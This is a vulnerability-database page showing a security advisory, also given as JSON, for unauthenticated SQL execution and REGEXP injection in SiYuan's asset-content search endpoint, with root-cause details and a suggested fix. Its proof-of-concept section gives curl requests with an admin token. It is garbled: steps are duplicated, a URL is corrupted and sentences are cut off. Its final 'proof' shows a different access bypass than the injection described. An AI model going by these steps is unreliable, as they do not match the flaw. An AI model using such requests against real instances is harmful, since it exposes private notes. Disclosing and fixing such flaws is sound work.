GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration

GHSA-FPH3-GHQ9-VW66

Vulnerability from github – Published: 2026-09-03 21:01 – Updated: 2026-09-03 21:01
VLAI
Summary
SiYuan: Unauthenticated SQL execution and REGEXP injection via fullTextSearchAssetContent (publish mode): reader-reachable raw SQL (method 2) and unescaped REGEXP (method 3) on read-write asset-content DB
Details

CVE: This vulnerability corresponds to CVE-2026-69083.

Summary

The /api/search/fullTextSearchAssetContent endpoint exposes two SQL flaws on the asset-content database, both reachable by the publish RoleReader token and by the anonymous account when Publish.Auth.Enable is false:

  1. method 2 passes a client-supplied SQL statement to the read-write asset-content DB with no single-statement or read-only guard, and without the admin restriction its sibling fullTextSearchBlock applies to the same SQL method.
  2. method 3 builds a REGEXP clause by concatenating the client expression with no quote-escaping, permitting SQL breakout while the equivalent block-search builder does escape.

Both run on a read-write handle through a statement-stacking-capable driver, spanning the cross-notebook asset-content store.

Details

Route / auth tier. router.go: Handle("POST", "/api/search/fullTextSearchAssetContent", model.CheckAuth, fullTextSearchAssetContent), CheckAuth only. Anonymous/reader reachable on the publish surface. parseSearchAssetContentArgs reads method and query straight from the JSON body with no constraint, so both are fully client-controlled.

Missing admin guard (contrast with the sibling). fullTextSearchBlock rejects the SQL method for non-admins (if method == 2 && !IsAdminRoleContext(c)). fullTextSearchAssetContent has no such check on its handler, so the SQL method is reachable by a reader.

method 2 : raw SQL, no statement guard. Dispatch: FullTextSearchAssetContent case 2 → searchAssetContentBySQL(query, …). After filterQueryInvisibleChars + TrimSpace, the statement is passed to sql.SelectAssetContentsRawStmt(stmt, …)queryAssetContentassetContentDB.Query(query) directly, with no CheckSingleStatement/CheckReadonlyStatement. The assetContentDB DSN sets no mode=ro/_query_only, so the handle is read-write (same 88250/go-sqlite3 fork).

method 3 : unescaped REGEXP concatenation. Dispatch → assetContentFieldRegexp(exp), which writes (name REGEXP '<exp>' OR content REGEXP '<exp>') by concatenation with no ' escaping. exp reaches it after only filterQueryInvisibleChars (strips invisible characters, not quotes). The parallel block-search builder fieldRegexp performs ReplaceAll(regexp, "'", "''") before wrapping, this asset builder omits that step. A single quote in exp breaks out of the literal into SQL context. The result runs via SelectAssetContentsRawStmtNoParsequeryAssetContent → direct assetContentDB.Query, again with no single/read-only guard.

Post-hoc filter. FilterAssetContentByPublishAccess runs on the results after the query executes; it filters rows and does not constrain the statement (same timing as the accepted searchDocs/searchEmbedBlock findings).

Handle / stacking / scope. Read-write asset-content DB, 88250/go-sqlite3 stacking-capable driver, ATTACH available. The asset-content store spans notebooks cross-boundary.

Impact

An unauthenticated request (publish mode with auth disabled) or any publish RoleReader can, via method 2, execute arbitrary SQL on the read-write asset-content database, and via method 3, inject SQL through the unescaped REGEXP clause. Both permit cross-notebook read disclosure of asset-content data and, via the read-write handle and statement stacking, modification of database content and ATTACH-reachable files. No admin role or write permission through the normal API is required. Code execution is not reachable in the default build (no load_extension).

PoC Steps

  1. Create a doc with a heading and secret body (6806, admin token)

curl -s -X POST http://127.0.0.1:6806/api/notebook/createNotebook -H "Content-Type: application/json" -H "Authorization: Token g4wj3r04ntobe9m4" -d "{\"name\":\"F3\"}" Take the returned notebook id as BOX, then: curl -s -X POST http://127.0.0.1:6806/api/filetree/createDocWithMd -H "Content-Type: application/json" -H "Authorization: Token g4wj3r04ntobe9m4" -d "{\"notebook\":\"BOX\",\"path\":\"/f3-secret\",\"markdown\":\"## SecretSection\n\nUNIQUE_MARKER_99 hidden body text\"}" The returned string is the doc root id → DOC.

  1. Get the heading block id (admin SQL on 68

curl -s -X POST http://127.0.0.1:6806/api/notebook/createNotebook -H "Content-Type: application/json" -H "Authorization: Token g4wj3r04ntobe9m4" -d "{\"name\":\"F3\"}" Take the returned notebook id as BOX, then: curl -s -X POST http://127.0.0.1:6806/api/fintent-Type: application/json" -H"Authorization: Token g4wj3r04ntobe9m4" -d "{\"notebook\":\"BOX\",\"path\":\"/f3-secret\",\"markdown\":\"## SecretSection\n\nUNIQUE_MARKER_99 hidden body text\"}" The returned string is the doc root id → DOC.

  1. Get the heading block id (admin SQL on 6806)

curl -s -X POST http://127.0.0.1:6806/api/query/sql -H "Content-Type: application/json" -H "Authorization: Token g4wj3r04ntobe9m4" -d "{\"stmt\":\"SELECT id,type,content FROM blocks WHERE type='h'\"}" Copy the id whose content is SecretSection → HEADING.

  1. Mark the doc forbidden from publishing (admin)

curl -s -X POST http://127.0.0.1:6806/api/filetree/setPublishAccess -H "Content-Type: application/json" -H "Authorization: Token g4wj3r04ntobe9m4" -d "{\"id\":\"DOC\",\"visible\":false,\"password\":\"\",\"disable\":true}" Now the doc is explicitly excluded from the

  1. Baseline: the admin-gated sibling refuses the reader

curl -i -X POST http://127.0.0.1:6808/api/block/getBlockDOM -H "Content-Type: application/json" -d "{\"id\":\"HEADING\"}" → expect 403 (getBlockDOM is CheckAdminRole). This is how raw-DOM retrieval is supposed to be gated.

  1. THE PROOF: reader pulls the forbidden doc's content anyway

curl -i -X POST http://127.0.0.1:6808/api/block/getHeadingChildrenDOM -H "Content-Type: application/json" -d "{\"id\":\"HEADING\"}" → 200 status code and data contains the rendered HTML including UNIQUE_MARKER_99 hidden body text full content of a doc that is disabled from publishing, returned to an anonymous reader with no filter.

Suggested fix

Bring fullTextSearchAssetContent in line with its block-search twin: apply the method == 2 && !IsAdminRoleContext rejection, route the raw-SQL path through CheckSingleStatement/CheckReadonlyStatement, and add ReplaceAll(exp, "'", "''") in assetContentFieldRegexp to match fieldRegexp. Ideally run reader-reachable asset-content reads on a _query_only=1 handle so no reader-reachable path can write or ATTACH.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/siyuan-note/siyuan/kernel"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.0-20260721004815-cf42dd5680c8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-69083"
  ],
  "database_specific": {
    "cwe_ids": [],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-03T21:01:05Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "**CVE:** This vulnerability corresponds to [CVE-2026-69083](https://nvd.nist.gov/vuln/detail/CVE-2026-69083).\n\n### Summary\n\nThe `/api/search/fullTextSearchAssetContent` endpoint exposes two SQL flaws on the asset-content database, both reachable by the publish `RoleReader` token and by the anonymous account when `Publish.Auth.Enable` is `false`:\n\n1. **method 2** passes a client-supplied SQL statement to the read-write asset-content DB with no single-statement or read-only guard, and without the admin restriction its sibling `fullTextSearchBlock` applies to the same SQL method.\n2. **method 3** builds a `REGEXP` clause by concatenating the client expression with no quote-escaping, permitting SQL breakout while the equivalent block-search builder does escape.\n\nBoth run on a read-write handle through a statement-stacking-capable driver, spanning the cross-notebook asset-content store.\n\n### Details\n\n**Route / auth tier.** `router.go`: `Handle(\"POST\", \"/api/search/fullTextSearchAssetContent\", model.CheckAuth, fullTextSearchAssetContent)`, `CheckAuth` only. Anonymous/reader reachable on the publish surface. `parseSearchAssetContentArgs` reads `method` and `query` straight from the JSON body with no constraint, so both are fully client-controlled.\n\n**Missing admin guard (contrast with the sibling).** `fullTextSearchBlock` rejects the SQL method for non-admins (`if method == 2 \u0026\u0026 !IsAdminRoleContext(c)`). `fullTextSearchAssetContent` has no such check on its handler, so the SQL method is reachable by a reader.\n\n**method 2 : raw SQL, no statement guard.** Dispatch: `FullTextSearchAssetContent` case 2 \u2192 `searchAssetContentBySQL(query, \u2026)`. After `filterQueryInvisibleChars` + `TrimSpace`, the statement is passed to `sql.SelectAssetContentsRawStmt(stmt, \u2026)` \u2192 `queryAssetContent` \u2192 `assetContentDB.Query(query)` directly, with no `CheckSingleStatement`/`CheckReadonlyStatement`. The `assetContentDB` DSN sets no `mode=ro`/`_query_only`, so the handle is read-write (same `88250/go-sqlite3` fork).\n\n**method 3 : unescaped REGEXP concatenation.** Dispatch \u2192 `assetContentFieldRegexp(exp)`, which writes `(name REGEXP \u0027\u003cexp\u003e\u0027 OR content REGEXP \u0027\u003cexp\u003e\u0027)` by concatenation with **no** `\u0027` escaping. `exp` reaches it after only `filterQueryInvisibleChars` (strips invisible characters, not quotes). The parallel block-search builder `fieldRegexp` performs `ReplaceAll(regexp, \"\u0027\", \"\u0027\u0027\")` before wrapping, this asset builder omits that step. A single quote in `exp` breaks out of the literal into SQL context. The result runs via `SelectAssetContentsRawStmtNoParse` \u2192 `queryAssetContent` \u2192 direct `assetContentDB.Query`, again with no single/read-only guard.\n\n**Post-hoc filter.** `FilterAssetContentByPublishAccess` runs on the results after the query executes; it filters rows and does not constrain the statement (same timing as the accepted `searchDocs`/`searchEmbedBlock` findings).\n\n**Handle / stacking / scope.** Read-write asset-content DB, `88250/go-sqlite3` stacking-capable driver, `ATTACH` available. The asset-content store spans notebooks cross-boundary.\n\n### Impact\n\nAn unauthenticated request (publish mode with auth disabled) or any publish `RoleReader` can, via method 2, execute arbitrary SQL on the read-write asset-content database, and via method 3, inject SQL through the unescaped `REGEXP` clause. Both permit cross-notebook read disclosure of asset-content data and, via the read-write handle and statement stacking, modification of database content and `ATTACH`-reachable files. No admin role or write permission through the normal API is required. Code execution is not reachable in the default build (no `load_extension`).\n\n### PoC Steps\n\n1. Create a doc with a heading and secret body (6806, admin token)\n\n`curl -s -X POST http://127.0.0.1:6806/api/notebook/createNotebook -H \"Content-Type: application/json\" -H \"Authorization: Token g4wj3r04ntobe9m4\" -d \"{\\\"name\\\":\\\"F3\\\"}\"`\nTake the returned notebook id as BOX, then:\n`curl -s -X POST http://127.0.0.1:6806/api/filetree/createDocWithMd -H \"Content-Type: application/json\" -H \"Authorization: Token g4wj3r04ntobe9m4\" -d \"{\\\"notebook\\\":\\\"BOX\\\",\\\"path\\\":\\\"/f3-secret\\\",\\\"markdown\\\":\\\"## SecretSection\\n\\nUNIQUE_MARKER_99 hidden body text\\\"}\"`\nThe returned string is the doc root id \u2192 DOC.\n\n2. Get the heading block id (admin SQL on 68\n\n`curl -s -X POST http://127.0.0.1:6806/api/notebook/createNotebook -H \"Content-Type: application/json\" -H \"Authorization: Token g4wj3r04ntobe9m4\" -d \"{\\\"name\\\":\\\"F3\\\"}\"`\nTake the returned notebook id as BOX, then:\n`curl -s -X POST http://127.0.0.1:6806/api/fintent-Type: application/json\" -H\"Authorization: Token g4wj3r04ntobe9m4\" -d \"{\\\"notebook\\\":\\\"BOX\\\",\\\"path\\\":\\\"/f3-secret\\\",\\\"markdown\\\":\\\"## SecretSection\\n\\nUNIQUE_MARKER_99 hidden body text\\\"}\"`\nThe returned string is the doc root id \u2192 DOC.\n\n2. Get the heading block id (admin SQL on 6806)\n\n`curl -s -X POST http://127.0.0.1:6806/api/query/sql -H \"Content-Type: application/json\" -H \"Authorization: Token g4wj3r04ntobe9m4\" -d \"{\\\"stmt\\\":\\\"SELECT id,type,content FROM blocks WHERE type=\u0027h\u0027\\\"}\"`\nCopy the id whose content is SecretSection \u2192 HEADING.\n\n3. Mark the doc forbidden from publishing (admin)\n\n`curl -s -X POST http://127.0.0.1:6806/api/filetree/setPublishAccess -H \"Content-Type: application/json\" -H \"Authorization: Token g4wj3r04ntobe9m4\" -d \"{\\\"id\\\":\\\"DOC\\\",\\\"visible\\\":false,\\\"password\\\":\\\"\\\",\\\"disable\\\":true}\"`\nNow the doc is explicitly excluded from the\n\n4. Baseline: the admin-gated sibling refuses the reader\n\n`curl -i -X POST http://127.0.0.1:6808/api/block/getBlockDOM -H \"Content-Type: application/json\" -d \"{\\\"id\\\":\\\"HEADING\\\"}\"`\n\u2192 expect 403 (getBlockDOM is CheckAdminRole). This is how raw-DOM retrieval is supposed to be gated.\n\n5. THE PROOF: reader pulls the forbidden doc\u0027s content anyway\n\n`curl -i -X POST http://127.0.0.1:6808/api/block/getHeadingChildrenDOM -H \"Content-Type: application/json\" -d \"{\\\"id\\\":\\\"HEADING\\\"}\"`\n\u2192 200 status code and data contains the rendered HTML including UNIQUE_MARKER_99 hidden body text full content of a doc that is disabled from publishing, returned to an anonymous reader with no filter.\n\n### Suggested fix\n\nBring `fullTextSearchAssetContent` in line with its block-search twin: apply the `method == 2 \u0026\u0026 !IsAdminRoleContext` rejection, route the raw-SQL path through `CheckSingleStatement`/`CheckReadonlyStatement`, and add `ReplaceAll(exp, \"\u0027\", \"\u0027\u0027\")` in `assetContentFieldRegexp` to match `fieldRegexp`. Ideally run reader-reachable asset-content reads on a `_query_only=1` handle so no reader-reachable path can write or `ATTACH`.",
  "id": "GHSA-fph3-ghq9-vw66",
  "modified": "2026-09-03T21:01:05Z",
  "published": "2026-09-03T21:01:05Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-fph3-ghq9-vw66"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-69083"
    },
    {
      "type": "WEB",
      "url": "https://github.com/siyuan-note/siyuan/commit/cf42dd5680c8f2d50cebfada5d639c8d59faf50e"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/siyuan-note/siyuan"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/siyuan-before-sql-injection-via-fulltextsearchassetcontent"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "SiYuan: Unauthenticated SQL execution and REGEXP injection via fullTextSearchAssetContent (publish mode): reader-reachable raw SQL (method 2) and unescaped REGEXP (method 3) on read-write asset-content DB"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…